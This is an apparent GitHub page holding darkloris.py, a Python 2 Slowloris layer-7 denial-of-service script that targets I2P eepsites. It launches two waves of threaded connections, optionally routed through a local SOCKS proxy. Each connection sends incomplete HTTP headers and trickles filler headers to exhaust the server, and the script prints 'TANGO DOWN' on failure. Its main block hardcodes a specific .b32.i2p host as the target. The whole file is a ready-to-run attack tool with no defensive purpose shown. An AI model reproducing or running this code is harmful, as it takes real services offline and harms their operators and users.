-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathdarkloris.py
81 lines (72 loc) · 2.4 KB
/
darkloris.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
# -*- coding: utf-8 -*-
"""
=======================
DARK LORIS
=======================
SLOW LORIS LAYER 7 DDOS
ON EEPSITES
"""
import socket, socks, sys, threading
from time import sleep
def attack(**kwargs):
global HOST
HOST = kwargs.get('host', 'localhost')
global PORT
PORT = kwargs.get('port', 8000)
global THREADS
THREADS = kwargs.get('threads', 150)
global DELAY
DELAY = kwargs.get('delay', 10)
global REPEAT
REPEAT = kwargs.get('delay', True)
global I2P
I2P = kwargs.get('i2p', False)
#if I2P:
# socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5,"127.0.0.1", 4475)
# socket.socket = socks.socksocket
start_attack()
class attack_thread(threading.Thread):
def run(self):
self.rep = REPEAT
down = False
while self.rep:
try:
if I2P:
s = socks.socksocket()
s.setproxy(socks.PROXY_TYPE_SOCKS5,"127.0.0.1", 4475)
else:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
down = False
s.send('GET / HTTP/1.0\r\n')
s.send('Host: %s\r\n' % (HOST))
s.send('User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n')
s.send('Content-Length: 42\r\n')
while True:
sleep(DELAY)
s.send('X-a: b\r\n')
# send this to shut down connections
# s.send('\r\n')
# s.close()
except Exception:
if not down:
print "TANGO DOWN"
down = True
def start_attack():
threads = []
for j in range(2): #Send two waves of attack
for i in xrange(THREADS/2):
print "Start attack " + str(i)
t = attack_thread()
t.daemon = True
threads.append(t)
t.start()
sleep(10)
try:
while True:
sleep(1)
except KeyboardInterrupt:
return
if __name__ == "__main__":
host = "bns4r3oidnxvxegufjk4i4ahmdribjfzkv5vsnpovnqbwelpawnp.b32.i2p"
attack(host=host, port=80, threads=200, delay=30, i2p=True)